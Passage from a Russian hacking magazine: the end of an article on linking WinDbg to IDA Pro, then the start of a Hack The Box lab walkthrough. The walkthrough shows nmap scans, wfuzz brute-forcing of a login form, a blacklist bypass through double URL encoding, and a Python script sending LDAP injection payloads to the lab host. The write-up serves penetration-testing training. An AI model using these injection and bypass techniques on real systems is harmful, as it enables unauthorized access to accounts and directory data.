Вер немся в Windows 10 и заг рузим в IDA Pro файл   (или ранее соз‐ 
данный «Идой» про ект). Выберем в меню File под меню Produce file, а в нем —
пункт Create MAP file. На экра не появит ся окно с зап росом име ни фай ла (вве‐ 
дем,  нап ример,  ),  а  затем  откро ется  модаль ный  диалог,  уточ‐ 
няющий, какие име на сто ит вклю чать в map‐файл. Наж мем Enter, что бы оста‐ 
вить все галоч ки в сос тоянии по умол чанию.

first.exe

first.map

Мгно вение спус тя на дис ке обра зует ся файл  , содер жащий всю
необ ходимую  отла доч ную  информа цию  в  map‐фор мате  Borland.  Отладчик
WinDbg не под держи вает такой фор мат, поэто му перед его исполь зовани ем
файл  необ ходимо  кон верти ровать  в  фор мат  DBG  —  отла доч ный  фор мат
Microsoft.

first.map

Кон верти ровать  мож но  с  помощью  ути литы  map2dbg,  сво бод но  рас‐ 
простра няемой  вмес те  с  .  Запус кать  ее  нуж но  из  коман‐ 
дной стро ки. В один каталог с ней кла дем map‐файл и соот ветс тву ющий .exe.
Затем в нашем слу чае выпол няем коман ду  .

ис ходны ми кодами

map2dbg first.exe
В  резуль тате  ути лита  выведет  чис ло  пре обра зован ных  сим волов,  а  в

текущей пап ке будет соз дан новый файл с рас ширени ем dbg. Теперь мож но
заг рузить   в WinDbg. При этом, если   находит ся в том же
катало ге, файл под хва тит ся авто мати чес ки и будет ско пиро ван в сис темную
пап ку   для даль нейше го иссле дова ния
экзешни ка.

first.exe first.dbg

C:\ProgramData\dbg\sym\first.dbg\

Сей час  в  WinDbg  надо  выпол нить  коман ду  .  Она  зас тавит
отладчик перезаг рузить информа цию из модулей. Затем можешь выпол нить
,  что бы  уви деть  спи сок  заг ружен ных  модулей. Модуль  first  будет  отме чен

как codeview symbols, ина че было бы deferred:

.reload  /f

lm

 

 

00400000 0041d000   first    C (codeview symbols)     
C:\ProgramData\Dbg\sym\first.dbg\5D5D59DE1d000\first.dbg

Ис полне ние  коман ды    выведет  все  сим волы  в  фай ле 
(показа на толь ко малая часть спис ка):

x  first!* first.exe

 

 

... 
004028c4          first!std::_String_const_iterator,std::allocator 
>::_String_const_iterator,std::allocator > =  
00402913          first!std::basic_streambuf >::_Xsgetn_s =  
0040298e          first!std::basic_streambuf >::xsputn =  
00402a57          first!std::basic_filebuf >::_Init =  
00402a9e          first!std::basic_string,std::allocator 
>::basic_string,std::allocator > =  
00402adb          first!std::_Fgetc =  
00402af6          first!std::_Fputc =  
00402b12          first!std::_Ungetc =  
00402b30          first!std::basic_filebuf >::sync =  
00402b5b          first!std::basic_filebuf >::pbackfail =  
00402bc5          first!std::basic_filebuf >::underflow =  
00402c29          first!std::basic_filebuf >::setbuf =  
00402c70          first!std::basic_string,std::allocator >::begin =  
00402c90          first!std::_Locinfo::~_Locinfo =  
...

Пос мотрим содер жимое сис темной перемен ной:

 

 

0:000> da first!aSouthAfrica 
00415500  "south‐africa"

Спо соб 2
Во  вто ром  спо собе  отладчик  и  дизас сем блер  меня ются  мес тами,  то  есть
дизас сем блер  будет  исполь зовать  фун кции  отладчи ка.  Пер вое,  что  необ‐ 
ходимо  отме тить:  бес плат ная  вер сия  IDA  не  поз воля ет  отла живать  прог‐ 
раммы.  Вто рое  замеча ние  не  менее  важ ное:  в  пути  к  отла жива емой  прог‐ 
рамме не дол жно быть сим волов кирил лицы.

WARNING

У бес плат ной вер сии IDA Pro есть и дру гие недос‐ 
татки:  некор рек тное  соз дание  выход ных  фай лов
(в  том  чис ле  map‐фай ла),  некор рек тное  пос тро‐ 
ение  диаг раммы  и  про чие  пока  не  зат ронутые
нами вещи.

Те перь мож но под клю чить WinDbg к  IDA. Для это го надо открыть кон фигура‐ 
цион ный файл  , находя щий ся в катало ге 

. Про маты ваем его содер жимое до такой стро ки:
ida.cfg С:\Program Files\IDA 7.

0\cfg\

//DBGTOOLS = "C:\\Program Files\\Debugging Tools for Windows (x86)\\";

Ни же или вмес то нее вста вить путь к инс тру мен там отладки WinDbg. В моем
слу чае:

DBGTOOLS = "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\";

От сюда вытека ет третья муд рость: в слу чае с IDA 7.0 и новее, даже если при‐ 
ложе ние дизас сем бли рует ся и отла жива ется в 32‐бит ной раз новид ности IDA,
путь  надо  ука зывать  к  64‐бит ной  WinDbg.  Ина че  при  запус ке  отладки  тебя
ждет сооб щение об ошиб ке.

Сле дующим шагом надо запус тить IDA, выб рать WinDbg из нис пада юще го
спис ка  на  панели  инс тру мен тов  и,  нажав  F9,  запус тить  отладку.  Толь ко
отладка  при ложе ния    закон чится,  не  успев  начать ся.  Нуж но  сде‐ 
лать  так,  что бы на  точ ке вхо да прог рамма замер ла. Для это го надо выз вать
диало говое окно Debugger setup (пункт Debugger options в меню Debugger).

first.exe

Па рамет ры отладчи ка

На шу задачу приз вана решить область Events. Здесь мож но выб рать, на каких
событи ях  мы  хотим  под вешивать  прог рамму.  Пос тавим  тре тий фла жок  Sus‐
pend  on  process  entry  point,  в  резуль тате  чего  выпол нение  про ги  при оста‐ 
новит ся на стар товом коде.

Вы пол нение прог раммы было при оста нов лено на точ ке вхо да

Зна комые  мес та?  Еще  бы!  Обра ти  вни мание:  прог рамма  опе риру ет  регис‐ 
тра ми  про цес сорной  архи тек туры  x86‐64:  RCX,  RDX,  RCI  и  так  далее.  Ядро
Windows  10  экспор тиру ет  1595  сим волов,  учи тывая  все  уста нов ленные
обновле ния опе раци онной сис темы на моем компь юте ре.

Это  мож но  про верить,  дваж ды щел кнув  на  модуле    в  окне
Modules во вре мя отладки про ги «Идой». Откро ется допол нитель ная вклад ка
Module:  KERNEL32.DLL.  Ее  мож но  отце пить  и  перета щить  в  любое  мес то.
На  ниж ней  час ти  рам ки  окна  отоб ража ется  общее  количес тво  сим волов,
экспор тиру емых дан ным модулем.

kernel32.dll

Под клю чение  WinDbg  к  IDA  поз воля ет  «Иде»  исполь зовать  сим воль ную
информа цию модулей с пуб лично го сер вера Microsoft. Для это го мож но соз‐ 
дать  перемен ную  окру жения  или  опре делить  дирек торию  непос редс твен но
из  IDA без ее переза пус ка. Пой дем вто рой, более корот кой дорогой, а соз‐ 
дать перемен ную окру жения ты можешь на досуге. В коман дную стро ку IDA (в
ниж ней час ти окна рядом с кноп кой WINDBG) вве ди:

 

 
.sympath srv*c:\debugSymbols*http://msdl.microsoft.com/download/symbols

Пос ле это го перезаг рузи сим волы коман дой  . Чис ло экспор тиру‐ 
емых модулем   сим волов ста ло 5568.

.reload /f
kernel32.dll

Те перь сим воль ные име на не  толь ко отоб ража ются на  экра не,  что  упро‐ 
щает понима ние кода, — на любое из них мож но быс тро и с ком фортом уста‐ 
новить точ ку оста нова (ска жем,  ), и отладчик пой мет, что
от него хотят! Нет боль ше нуж ды дер жать в памяти эти труд но запоми наемые
шес тнад цатерич ные адре са!

bp GetProcAddress

ЗАКЛЮЧЕНИЕ
IDA — очень удоб ный инс тру мент для модифи кации фай лов, исходные тек сты
которых уте ряны или отсутс тву ют. Это прак тичес ки единс твен ный дизас сем‐ 
блер,  спо соб ный  ана лизи ровать  зашиф рован ные  прог раммы,  не  при бегая
к сто рон ним средс твам. Ну и конеч но, IDA обла дает раз витым поль зователь‐ 
ским интерфей сом и  удоб ной сис темой навига ции по иссле дуемо му  тек сту.
В резуль тате с  таким инс тру мен том в руках  ты можешь спра вить ся  с  любой
мыс лимой и немыс лимой задачей... если, конеч но, вла деешь язы ком скрип‐ 
тов, что и под твер дили при веден ные выше при меры.

WWW

А вот архив с  . Так же я буду
вык ладывать  сопутс тву ющий  стать ям  матери ал,
тул зы и дру гой стафф на    в  раз деле
«Хакерс тво».

ма тери ала ми к статье

сво ем сай те

https://github.com/andremussche/map2dbg
https://xakep.ru/wp-content/uploads/2019/samples.zip
http://www.t2d-dev.ru/
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ВЗЛОМ

Се год ня  мы  прой дем  вир туаль ную  машину
CTF с  . В кон тек сте этой статьи
аббре виату ра CTF будет рас шифро вывать‐ 
ся как Compressed Token Format, а не Cap‐
ture  the  Flag,  а  сама  машина  пох васта ется
уяз вимым  к  раз ному  типу  LDAP‐инъ екций
веб‐при ложе нием,  исполь зовани ем
генера тора  одно разо вых  паролей  stoken
в  качес тве  механиз ма  аутен тифика ции
на сер вере, а так же неб режно написан ным
скрип том на Bash, с помощью которо го мы
обма нем архи ватор 7z и получим root.

Hack The Box

HTB — CTF

CTF — прос то иде аль ная машина для сос тавле ния рай тапа: ее решение пря‐ 
моли ней но, нет мно жес тва раз вилок на пути, которые ведут в никуда и меша‐ 
ют сле дить за повес тво вани ем. Так что мне не при дет ся вык ручивать ся и при‐ 
думы вать,  какими  сло вами  луч ше  опи сать  свой  ход  мыс ли  при  ее  про хож‐ 
дении, что бы сох ранялась интри га. В то же вре мя эта вир туал ка весь ма слож‐ 
на (уро вень Insane — 7,9 бал ла из 10), что дела ет ее осо бен но прив лекатель‐ 
ной для   тес тирова ния на про ник новение.взло ма

На пути к побед ному фла гу нам пред сто ит:
по играть  со  stoken  —  прог раммой  для  Linux,  которая  генери рует  одно‐ 
разо вые пароли (токены RSA SecurID);

•

ра зоб рать ся с раз ными типами инъ екций LDAP (Blind, Second Order);•
на писать нес коль ко скрип тов на Python для бру та катало га LDAP;•
зло упот ребить фун кци ями архи вато ра 7z, в час тнос ти его опци ей @listfiles,
для чте ния фай лов с пра вами супер поль зовате ля.

•

РАЗВЕДКА
Nmap
Но вая машина — новое ска ниро вание пор тов. «Ни дня без Nmap!» — впол не
годит ся на девиз пен тесте ра.

Как  обыч но,  раз делим  этот  про цесс  на  две  час ти.  Спер ва  веж ливо
осмотрим ся  на  пред ложен ной  к  зах вату  тер ритории  с  помощью  обыч ного
SYN‐ска ниро вания без изли шеств.

 

 

root@kali:~# nmap ‐n ‐v ‐Pn ‐oA nmap/initial 10.10.10.122 
root@kali:~# cat nmap/initial.nmap 

 
 

 
 

 
 
 

  
 

# Nmap 7.70 scan initiated Sun Jul 28 15:02:31 2019 as: nmap ‐n ‐v ‐Pn ‐
oA nmap/initial 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.077s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Jul 28 15:02:41 2019 ‐‐ 1 IP address (1 host up) 
scanned in 10.17 seconds

К  сло ву,  опция    даст  Nmap  понять,  что  мы  не  хотим,  что бы  он  пытал ся
резол вить имя хос та в  IP‐адрес (так как мы уже ука зыва ем хост через его  IP,
а не через домен ное имя), опция   нем ного рас ширит получа емый от ска‐ 
нера  фид бэк  (сте пень  детали зации  фид бэка  мож но  наращи вать,  добав ляя
фла ги    вплоть  до  ),  а  опция    убе дит  Nmap  в  том,  что  нет  необ‐ 
ходимос ти  про верять  (с  помощью  ICMP‐зап роса),  что  хост  «жив»,
перед  началом  самого  ска ниро вания,  так  как  мы  навер няка  зна ем,  что
машина сей час в онлай не.

‐n

‐v

‐v ‐vvv ‐Pn

Так же  не  забудь  ука зать  путь  для  сох ранения  отче тов  ска ниро вания
во  всех  фор матах  через    на  слу чай,  если  при дет ся  писать  отчет
об  успешно  про веден ном  тес тирова нии  на  про ник новение,  ведь  ты  же
на сто роне бла город ных вай тхе тов, я наде юсь?

‐oA

Те перь мож но чуть‐чуть пошуметь, зап росив более под робную информа‐ 
цию о запущен ных сер висах на откры тых пор тах и под клю чив к работе скрип‐ 
товый дви жок NSE.

 

 

root@kali:~# nmap ‐n ‐v ‐Pn ‐sV ‐sC ‐oA nmap/version 10.10.10.122 ‐
p22,80 
root@kali:~# cat nmap/version.nmap 

 
 

 
  

 
 

 
 
 
 

 
 

 
 

 
 

  
 

 

# Nmap 7.70 scan initiated Sun Jul 28 15:34:37 2019 as: nmap ‐n ‐v ‐Pn ‐
sV ‐sC ‐oA nmap/version ‐p22,80 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh‐hostkey:
|   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
|   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k‐fips 
mod_fcgid/2.3.9 PHP/5.4.16)
| http‐methods:
|   Supported Methods: POST OPTIONS GET HEAD TRACE
|_  Potentially risky methods: TRACE
|_http‐server‐header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k‐fips mod‐
_fcgid/2.3.9 PHP/5.4.16
|_http‐title: CTF

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
# Nmap done at Sun Jul 28 15:34:46 2019 ‐‐ 1 IP address (1 host up) 
scanned in 9.27 seconds

Итак, что же нам дос тупно.
1. Де мон веб‐сер вера Apache без заз рения совес ти «сли вает» нам дис три‐ 
бутив ОС — мы име ем дело с CentOS. При сло ве CentOS в голове сра зу
выс тра ивает ся  ряд  мыс лей:  это  сво бод ный  дис три бутив  Linux  на  осно ве
Red Hat; плат ные вер сии прог рам мных про дук тов докумен тиру ются гораз‐ 
до  луч ше,  чем  бес плат ные;  раз CentOS —  это  бес плат ная  вер сия RHEL,
сле дова тель но,  зная  вер сию  плат ного  дис тра  (которую  мы  най дем  быс‐ 
трее  бла года ря  под робной  докумен тации),  мы  так же  будем  знать  и  вер‐ 
сию CentOS, с которой работа ем в дан ный момент. С пер вой   поис‐ 
ковика по зап росу httpd versions red hat видим, что   встро ена
в RHEL 7. Вот и ответ: перед нами CentOS 7.

ссыл ки
httpd 2.4.6

2. От кры то все го два пор та: 22‐й — SSH и 80‐й — веб‐сер вер Apache. Оче‐ 
вид но, что начинать иссле дова ние будем с веба.

Уз наем вер сию ОС по бан неру Apache

ВЕБ — ПОРТ 80
В  этой  час ти  уде лим  вни мание  тому,  что  про исхо дит  на  веб‐сер вере  ата‐ 
куемой машины и чем мы здесь смо жем раз жить ся.

Бра узер
Пе рей дя  по  адре су  ,  ты  уви дишь объ явле ние  сле‐ 
дующе го харак тера.

http://10.10.10.122:80

Глав ная стра ница веб‐сер вера

Вот мой воль ный перевод это го тек ста.

В  рам ках  жиз ненно го  цик ла  раз работ ки  нашей  сис темы  ( )  нам
необ ходимо испро бовать пред ложен ную  тех нологию аутен тифика ции,
осно ван ную на прог рам мных токенах, с помощью пен теста.

SDLC

За логинь ся, что бы про вес ти свои тес ты.
Дан ный  сер вер  защищен  от  некото рых  видов  атак,  нап ример

от ата ки методом «гру бой силы». Поэто му если ты попыта ешь ся заб- 
рутфор сить  некото рые  из  дос тупных  сер висов,  ты  можешь  быть
забанен на пять минут.

Ес ли  при ложе ние  тебя  забанит,  это  будет  пол ностью  твоя  вина,
поэто му не переза пус кай машину, не пор тя тем самым жиз ни дру гих
иссле дова телей, но про веди вре мя бана с поль зой, раз мышляя о дру- 
гих век торах вхо да в сис тему.

Спи сок забанен ных IP-адре сов мож но най ти [здесь]. У тебя может
не получить ся заг рузить этот спи сок, пока ты находишь ся в бане.

На    тебя  как  раз  ожи дает  та  фор ма
авто риза ции, которую нель зя бру тить, если верить объ явле нию с глав ной.

http://10.10.10.122:80/login.php

Фор ма авто риза ции login.php

В исходни ках этой стра ницы есть инте рес ный ком мента рий, который нем ного
про лива ет свет на детали исполь зуемой тех нологии аутен тифика ции.

Фраг мент исходно го кода login.php

<!‐‐ we'll change the schema in the next phase of the project (if 
and only if we will pass the VA/PT) ‐‐>
<!‐‐ at the moment we have choosen an already existing attribute in 
order to store the token string (81 digits) ‐‐>

Во‐пер вых,  речь  идет  о  каком‐то  «атри буте»,  который  содер жит  токен  (об
этом чуть поз же). Во‐вто рых, тот самый токен, как заверя ет нас ком мента рий
в  сор цах,  пред став ляет  собой  стро ку  дли ной  81  сим вол  (циф ры). Воп росив
поис ковик  о  том,  какой  быва ет  софт  для  генера ции  одно разо вых  паролей
в Linux, я нашел  .stoken

stoken
Итак,  stoken  генери рует  одно разо вые  пароли,  сов мести мые  с  мар керами
RSA   128 бит (AES). Мар керы SecurID обыч но исполь зуют ся для аутен‐ 
тифика ции конеч ных поль зовате лей на защищен ных сетевых ресур сах и VPN,
пос коль ку   обес печива ют боль шую устой чивость ко мно гим ата кам, свя‐ 
зан ным со ста тичес кими пароля ми.

SecurID

OTP

Я поис кал сло во    в  readme, и,  ког да оно наш лось,  я понял,  что  точ но
на вер ном пути.

ctf

Фраг мент README.md к stoken

Сле дующим  шагом  я  решил  най ти  упо мина ние  о  той  стро ке  из  81  циф ры,
речь о которой идет в HTML‐коде стра ницы с авто риза цией. Это упо мина ние
было най дено и на пер вой   из резуль татов поис ка по зап росу 

. И стра ница эта ока залась ману алом к stoken.
стра нице sto‐

ken 81 digits

Фраг мент man page для stoken

Здесь плюс ко все му про чему мы впер вые узна ем, что скры вает ся за аббре‐ 
виату рой CTF: Compressed Token Format,  а не Capture The Flag,  как я и обе‐ 
щал.

Веб‑фор ма авто риза ции
Вер нувшись к фор ме логина и поп робовав авто ризо вать ся как  , я
уви дел такое сооб щение об ошиб ке.

admin:0000

Поль зовате ля не сущес тву ет

Сле дом я поп робовал эле мен тарную SQL‐инъ екцию, исполь зовав в качес тве
име ни поль зовате ля стро ку  ...  и не получил вооб ще никакой
реак ции от веб‐сай та. Это навело меня на мысль, что на бэкен де с высокой
долей  веро ятности  сущес тву ет  некий  чер ный  спи сок,  содер жащий  опре‐ 
делен ные  сим волы,  которые  фор ма  не  жела ет  видеть  в  прин ципе.  Ско рее
все го,  это  некий  спи сок  управля ющих  сим волов,  которые  исполь зуют ся
в выраже ниях, воз вра щающих выбор ку из БД по поль зователь ско му зап росу.

' or 1=1 ‐‐ ‐

Сле дова тель но, передо мной на тот момент сто яло две основные задачи:
опре делить  содер жимое  это го  спис ка  (чем  бы  он  в  ито ге  ни  ока зал ся)
и получить имя поль зовате ля, чис лящего ся в базе дан ных сай та. Нач нем.

ПЕРЕБОР ВАРИАНТОВ
Да, я знаю, что нам зап ретили бру тить, но ведь если очень хочет ся, то мож но?
К  тому  же  у  меня  не  было  никако го  желания  вруч ную  переби рать  все  спе‐ 
циаль ные  сим волы  из  блек листа,  за  которым  я  охо тил ся.  Если  не  наг леть
и  исполь зовать  неболь шие  сло вари  для  перебо ра,  то  мож но  пос тарать ся
не попасть ся.

Бу дем исполь зовать мой любимый репози торий, в котором есть сло вари
для брут форса на любой вкус, —  . Най дем сло вари, содер жащие спе‐ 
циаль ные сим волы, переда дим с помощью   резуль таты поис ка ути лите
 с фла гом   для под сче та сим волов в каж дом най ден ном сло варе (он ока‐ 

зал ся один) и взгля нем на содер жимое.

SecLists
xargs

wc ‐c

/SecLists/Fuzzing/special‐chars.txt

64  сим вола.  Не  кри тич но,  поэто му  рас чехля ем  веб‐фаз зер    —  будем
бру тить.

wfuzz

INFO

wfuzz  —  написан ный  на  Python  фрей мворк,
который  пред став ляет  собой    веб‐при‐ 
ложе ний и поз воля ет находить ошиб ки, ана лизи‐ 
руя отве ты веб‐сер вера на тот или иной зап рос.

фаз зер

Про ана лизи ровав  струк туру  веб‐фор мы,  которую будем ломать  (с  помощью
Burp, к при меру), сос тавим зап рос для wfuzz.

 

 

root@kali:~# wfuzz ‐w special‐chars.txt ‐‐hw 233 ‐d 
'inputUsername=FUZZ&inputOTP=0000' 10.10.10.122/login.php

Оп ция   задаст путь до сло варя, по которо му нуж но прой ти.• ­w

Оп ция    (от  hide  words)  скро ет  все  отве ты  сер вера,  которые  вер‐ 
нули  233  сло ва.  Почему  имен но  233?  Имен но  столь ко  слов  появ ляет ся
на веб‐стра нице, которая воз вра щает ся поль зовате лю в слу чае, ког да он
получа ет сооб щение об ошиб ке   (см. скрин шот
ранее): 229 слов изна чаль но плюс 4 сло ва сооб щения об ошиб ке. Такие
отве ты нас не инте ресу ют, потому что мы ловим толь ко слу чаи, ког да эта
стро ка в отве те не появ ляет ся, то есть ког да что‐то из содер жимого поля
юзер ней ма находит ся в блек листе.

• ­­hw

User <USER> not found

Оп ция    опре деля ет  вид  зап роса,  ухо дящий  к  сер веру.  На  мес то  заг‐ 
лушки   wfuzz под став ляет сло во из выб ранно го сло варя (пос троч но).
Мы фаз зим поле  , отве чающее за имя поль зовате ля, а до

  нам  пока  дела  нет,  поэто му  я  пос тавил  пер вое,  что  приш ло
в голову, —  .

• ­d

FUZZ

inputUsername

inputOTP

0000

Фаз зим поле юзер ней ма спец симво лами

В гра фе Payload мы получи ли спи сок всех спе циаль ных сим волов, на которые
фор ма  авто риза ции  отре аги рова ла  стран но,  а  имен но  не  так,  как  если  бы
поль зовате лей с такими име нами не было в базе дан ных: сер вер прос то про‐ 
игно риро вал зап росы с эти ми сим волами в поле Username.

Ин терес но, что на сим волы   и   вооб ще третья реак ция: фор ма про пус‐ 
кает  эти  сим волы,  но  почему‐то  не  счи тает  их  за  сло ва  (а  количес тво  сим‐ 
волов отли чает ся). Что ж, не видя нас тро енно го филь тра, нель зя быть уве рен‐ 
ным,  что  имен но  здесь  про исхо дит.  Будем  счи тать,  что  это  не  баг,  а  фича,
да  и  «в  машине  всег да  были  приз раки,  слу чай ные  сег менты  кода,  которые,
ском поновав шись вмес те, обра зуют неп редви ден ные про токо лы...».

& +

Пос ле это го я еще нем ного поиг рал с веб‐фор мой на самом сай те и доиг‐ 
рался  до  сле дующе го:  если  переда вать  «зап рещен ные»  сим волы,  допол‐ 
нитель но  их  закоди ровав,  то  хост  отве чает  ошиб кой,  как  и  при  нор маль ном
зап росе, не содер жащем спец симво лов в име ни поль зовате ля.

Объ ясню  на  при мере:  при  попыт ке  залоги нить ся  с  кре дами 
веб‐фор ма  прос то  перезаг ружалась  и  игно риро вала  зап рос  (сра баты вает
блек лист), а при попыт ке залоги нить ся с кре дами   веб‐фор ма вдруг
вер нула сооб щение об ошиб ке вхо да. Заметь, даже не о том, что такого поль‐ 
зовате ля не сущес тву ет, а прос то что логин не удал ся.

*:0000

%2a:0000

Ошиб ка логина

Здесь‐то все вмиг и про ясни лось.
1. Фор ма однознач но уяз вима к какому‐то типу инъ екции, так как изме нилось
поведе ние сай та, ког да я сумел «про тащить» сим вол   в поле, пред назна‐ 
чен ное  для  име ни  поль зовате ля.  К  какому  имен но  типу,  нам  пред сто ит
выяс нить  далее,  но,  судя  по  сим волам  в  блек листе  и  ком мента рию
в исходном коде стра ницы, уже сей час мож но сде лать пред положе ние.

*

2. Обой ти блек лист нам поз волит не что иное, как Double URL Encoding.

Продолжение статьи →
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НЕПРАВИЛЬНЫЙ CTF
ОДНОРАЗОВЫЕ ПАРОЛИ, БУЙСТВО LDAP‐
ИНЪЕКЦИЙ И ТРЮКИ C АРХИВАТОРОМ 7Z

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Double URL Encoding
Ког да ты отправ ляешь дан ные через веб‐фор мы, с веро ятностью 99,9% они
пред варитель но обо рачи вают ся в URL‐кодиро вание (еще его называ ют 

). Если без под робнос тей, то для спец симво лов, о которых мы
говори ли  ранее,  про цесс  очень  прост:  в  начале  идет  управля ющий  сим вол
(про цент), а за ним сле дует ASCII‐код кодиру емо го сим вола. К при меру, звез‐ 
дочка  ( )  будет  закоди рова на  как  ,  так  как  ее  HEX‐код —    в  таб лице
ASCII.

Per‐
cent‐encoding

* %2a 2A

Сим вол асте риск в таб лице ASCII

Са мое инте рес ное, что ког да я отправ ляю   в юзер ней ме через эту фор му, то
он URL‐кодиру ется сер вером по умол чанию. Если же отправ лять уже закоди‐ 
рован ную вруч ную вер сию звез дочки ( ), она будет закоди рова на фор мой
пов торно, то есть получит ся  , потому что сам сим вол   име ет ASCII‐код
 в шес тнад цатерич ном виде.

*

%2a
%252a %

25
Где‐то  пос ле  про вер ки  на  вхож дение  в  чер ный  спи сок  сер вер  дваж ды

успешно декоди рует нашу звез дочку, и мы получа ем нуж ный ответ. Механизм
филь тра ции  зап рещен ных  сим волов  ока зал ся  уяз вим  к  двой ному  URL‐
кодиро ванию.

Те перь  пос мотрим,  что  еще  про пус тит  блек лист  в  таком  виде.  Ути лита
wfuzz уме ет кодиро вать полез ную наг рузку, если задать флаг  . В ее арсе‐ 
нале  есть  раз ные  кодиров щики,  спи сок  всех  дос тупных мож но  прос мотреть
коман дой  .

‐z

wfuzz ‐e encoders
Что бы исполь зовать wfuzz с двой ным URL‐кодиро вани ем каж дого сим вола

из фай ла, мож но было бы поп робовать сле дующую коман ду.

 

 

root@kali:~# wfuzz ‐z file,special‐chars.txt,uri_double_hex ‐‐hw 233 ‐d 
'inputUsername=FUZZ&inputOTP=0000' 10.10.10.122/login.php

Од нако не  ко  всем сим волам  кодиров щик был при менен  кор рек тно  (может,
в сле дующих сбор ках будет фикс), поэто му я решил вос поль зовать ся более
пря моли ней ным методом — сло варем   из того же набора
SecLists.  Крас ным  я  добавил  пояс нение  к  полез ной  наг рузке:  сна чала  идет
сим вол в обыч ном URL‐кодиро вании, затем его пред став ление в челове чес‐ 
ком виде.

doble‐uri‐hex.txt

Фаз зим поле юзер ней ма спец симво лами в двой ном URL‐кодиро вании

В ито ге видим, что фор ма стран но реаги рует на четыре печата емых сим вола
плюс нулевой байт:  ,  ,  ,  . И здесь я  уже поч ти  уве рил ся,  что имею дело
с LDAP‐инъ екци ей.

) ( * /

LDAP-инъ екция
  —  лег ковес ный  про токол  прик ладно го  уров ня,  пред назна чен ный

для дос тупа к служ бе катало гов. Под «служ бой катало гов» может под разуме‐ 
вать ся  как    (как  задумы валось изна чаль но),  так и  любая дру гая иерар‐ 
хичес кая сис тема управле ния базами дан ных (СУБД). Бук ва D в аббре виату ре
озна чает Directory — так сло жилось исто ричес ки. Если ты мало зна ком с этим
про токо лом,  то  можешь  сме ло  заменять  в  уме  Directory  на  Data:  смысл
не изме нит ся, но поводов запутать ся ста нет на один мень ше.

LDAP

X.500

WWW

Хо рошее чти во про LDAP

LDAP‐инъ екции не силь но отли чают ся от тех же SQLi — методо логии экс плу‐ 
ата ции в чем‐то схо жи. Пер вым делом было бы неп лохо опре делить при мер‐ 
ную  струк туру  уяз вимого  зап роса,  в  поведе ние  которо го  ты  собира ешь ся
бес так тно вме шать ся. Для этих целей мож но вос поль зовать ся сим волом зак‐ 
рыва ющей скоб ки   и нулевым бай том  , бла го оба сим вола есть в нашем
арсе нале.

) %00

Что бы понять, что кон крет но будет про исхо дить, необ ходимо иметь пред‐ 
став ление  об  общем  виде  зап роса.  Выг лядеть  он  может,  к  при меру,  сле‐ 
дующим обра зом.

(&
   (key1=value1)
   (key2=value2)
   (key3=value3)
)

Ам персанд  здесь,  оче вид но,  выпол няет  роль  логичес кого И,  свя зыва юще го
три  утвер жде ния  в  скоб ках.  Так  вот,  допус тим,  что  зна чение  пер вого  клю ча
( ) под кон троль но поль зовате лю при вво де. Тог да если вмес то 
мы  отпра вим  две  зак рыва ющие  скоб ки  и  нулевой  байт,  который  «сре жет»
оставшу юся часть зап роса (ана лог сим вола ком мента рия   для SQLi), то мы
смо жем опре делить, уяз вим ли этот LDAP‐зап рос перед вме шатель ством.

value1 value1

‐‐

В нашем слу чае если сер вер спо кой но съест изме нен ный зап рос и вер нет
ошиб ку, ука зыва ющую на то, что такого поль зовате ля не сущес тву ет, зна чит,
ты сор вал джек пот и нашел валид ное поле для инъ екции, если отве том будет
тишина — зна чит, неуда ча.

Что бы  облегчить  себе  жизнь  и  не  мучить ся  с  двой ным  кодиро вани ем
в Burp, я сос тавил неболь шой скрипт на Python, который дваж ды обо рачи вает
зап рос  в  URL‐кодиров ку,  по  необ ходимос ти  добав ляет  нулевой  байт
и  посыла ет  сер веру  POST‐зап рос  со  всем  этим  безоб рази ем  в  поле  User‐
name. Зна чение для поля OTP ста тич но и слу чай но — сей час оно не игра ет
роли.

#!/usr/bin/env python3
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python3 inject.py <ИНЪЕКЦИЯ> <НУЛЕВОЙ_БАЙТ>

import sys
import re
from urllib.parse import quote_plus

import requests

# Куда стучимся
URL = 'http://10.10.10.122/login.php'

# Инъекция, закодированная в URL Encoding один раз (из первого 
аргумента скрипта)
inject = quote_plus(sys.argv[1])

# Нулевой байт, подаваемый по необходимости (из второго аргумента 
скрипта)
null_byte = sys.argv[2]

# Данные для POST‐запроса (библиотека requests закодирует значения 
повторно => получится Double URL Encoding)
data = {
   'inputUsername': inject + null_byte,
   'inputOTP': '31337'
}

# Отправляем запрос
resp = requests.post(URL, data=data)

# Регулярками вытаскиваем ответ сервера
match = re.search(r'<div class="col‐sm‐10">(.*?)</div>', resp.text, 
re.DOTALL)

# И выводим его на экран
print(match.group(1).strip())

Те перь нам пред сто ит опре делить количес тво ско бок, необ ходимое для того,
что бы  изме нен ный  LDAP‐зап рос  ока зал ся  «пра виль ным».  Нач нем  с  одной
и  будем  в  кон це  добав лять  нулевой  сим вол  для  отбра сыва ния  оставшей ся
час ти ори гиналь ного зап роса. Потом поп робу ем две, затем — три.

Уга дыва ем количес тво зак рыва ющих ско бок

На трех скоб ках сер вер сооб щил, что не зна ет такого поль зовате ля, поэто му
дела ем  вывод,  что  на  самом  деле  струк тура  ори гиналь ного  зап роса  име ет
при мер но такой вид.

(&
   (&
       (key1=value1)
       (key2=value2)
       (key3=value3)
   )
   (&
       (key4=value4)
       ...
   )
   ...
)

От лично!  Мы  выяс нили,  что  фор ма    уяз вима  к  LDAP‐инъ екции,
и сде лали пред положе ние о струк туре LDAP‐зап роса. Исполь зуем это, что бы
вык расть авто риза цион ные дан ные!

/login.php

Дам пим юзер нейм
